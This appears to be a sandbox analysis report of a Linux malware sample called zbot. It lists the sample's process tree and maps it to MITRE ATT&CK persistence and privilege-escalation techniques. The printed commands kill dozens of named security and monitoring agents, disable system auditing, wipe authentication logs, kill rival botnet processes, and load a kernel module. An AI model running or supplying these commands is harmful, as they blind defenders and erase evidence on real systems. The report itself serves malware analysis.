/usr/bin/pkillpkill -9 -x avp50.exe1⤵
-
/usr/bin/pkillpkill -9 -f "[f]alcond"1⤵
-
/usr/bin/pkillpkill -9 -f "[f]alcon"1⤵
-
/usr/bin/pkillpkill -9 -f "[c]sagent"1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -f "[c]rowdstrike"1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[s]entinelagent"1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -f "[s]entinelhelper"1⤵
-
/usr/bin/pkillpkill -9 -f "[s]1-agent"1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[s]1-service"1⤵
-
/usr/bin/pkillpkill -9 -f "[x]agt"1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -f "[c]bdefense"1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[c]bagent"1⤵
-
/usr/bin/pkillpkill -9 -f "[c]arbonblack"1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[r]epwel"1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[c]ylance"1⤵
-
/usr/bin/pkillpkill -9 -f "[s]vcdiva"1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -f "[m]datp"1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[m]dallaips"1⤵
- Reads runtime system information
- System Network Configuration Discovery
-
/usr/bin/pkillpkill -9 -f "[s]ensedata"1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[s]ophos"1⤵
-
/usr/bin/pkillpkill -9 -f "[s]avscanner"1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[r]tvscan"1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[s]ymantec"1⤵
-
/usr/bin/pkillpkill -9 -f "[S]ymAux"1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[t]rendmicro"1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[d]s_agent"1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[e]dragent"1⤵
-
/usr/bin/pkillpkill -9 -f "[o]squeryd"1⤵
-
/usr/bin/pkillpkill -9 -f "[s]ysmon"1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[c]lamd"1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[k]lscan"1⤵
-
/usr/bin/pkillpkill -9 -f "[k]avfs"1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -f "[e]krn"1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -f "[e]sets"1⤵
-
/usr/bin/pkillpkill -9 -f "[b]dagent"1⤵
-
/usr/bin/pkillpkill -9 -f "[w]rsa"1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -f "[m]bam"1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[m]alwarebytes"1⤵
-
/usr/bin/pkillpkill -9 -f "[3]60tray"1⤵
-
/usr/bin/pkillpkill -9 -f "[3]60safe"1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[h]ipstray"1⤵
- Reads CPU attributes
- Reads runtime system information
- System Network Configuration Discovery
-
/usr/bin/pkillpkill -9 -f "[u]sysdiag"1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[q]axengine"1⤵
-
/usr/bin/pkillpkill -9 -f "[p]andad"1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[p]sanhost"1⤵
-
/usr/bin/pkillpkill -9 -f "[f]savgui"1⤵
-
/usr/bin/pkillpkill -9 -f "[f]-secure"1⤵
-
/usr/bin/pkillpkill -9 -f "[k]avtray"1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[v]ipre"1⤵
- Reads runtime system information
- System Network Configuration Discovery
-
/usr/bin/pkillpkill -9 -f "[s]bamsvc"1⤵
-
/usr/bin/pkillpkill -9 -f "[g]data"1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -f "[i]karus"1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[d]rweb"1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -f "[e]service"1⤵
-
/usr/bin/pkillpkill -9 "[a]uditd"1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -f "[s]noop"1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[a]ccton"1⤵
-
/sbin/auditctlauditctl -e 01⤵
-
/usr/bin/truncatetruncate -s 0 /var/log/auth.log /var/log/secure /var/log/wtmp /var/log/lastlog1⤵
- Deletes log files
-
/usr/bin/pkillpkill -9 -x mirai1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x mirai.arm1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x mirai.mips1⤵
- Reads runtime system information
- System Network Configuration Discovery
-
/usr/bin/pkillpkill -9 -x mirai.mpsel1⤵
-
/usr/bin/pkillpkill -9 -x gafgyt1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x bashlite1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x tsunami1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x hakai1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x sora1⤵
-
/usr/bin/pkillpkill -9 -x qbot1⤵
-
/usr/bin/pkillpkill -9 -x astaroth1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x ozyman1⤵
-
/usr/bin/pkillpkill -9 -x nihappy1⤵
-
/tmp/.z/tmp/.z1⤵
-
/sbin/modprobemodprobe zbot1⤵
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1Boot or Logon Initialization Scripts
1RC Scripts
1Scheduled Task/Job
2At
1Cron
1Privilege Escalation
Abuse Elevation Control Mechanism
1Sudo and Sudo Caching
1Boot or Logon Autostart Execution
1Boot or Logon Initialization Scripts
1RC Scripts
1Scheduled Task/Job
2At
1Cron
1Replay Monitor
Loading Replay Monitor...
Downloads
zbot
.z
tmp.mZa6La
zbot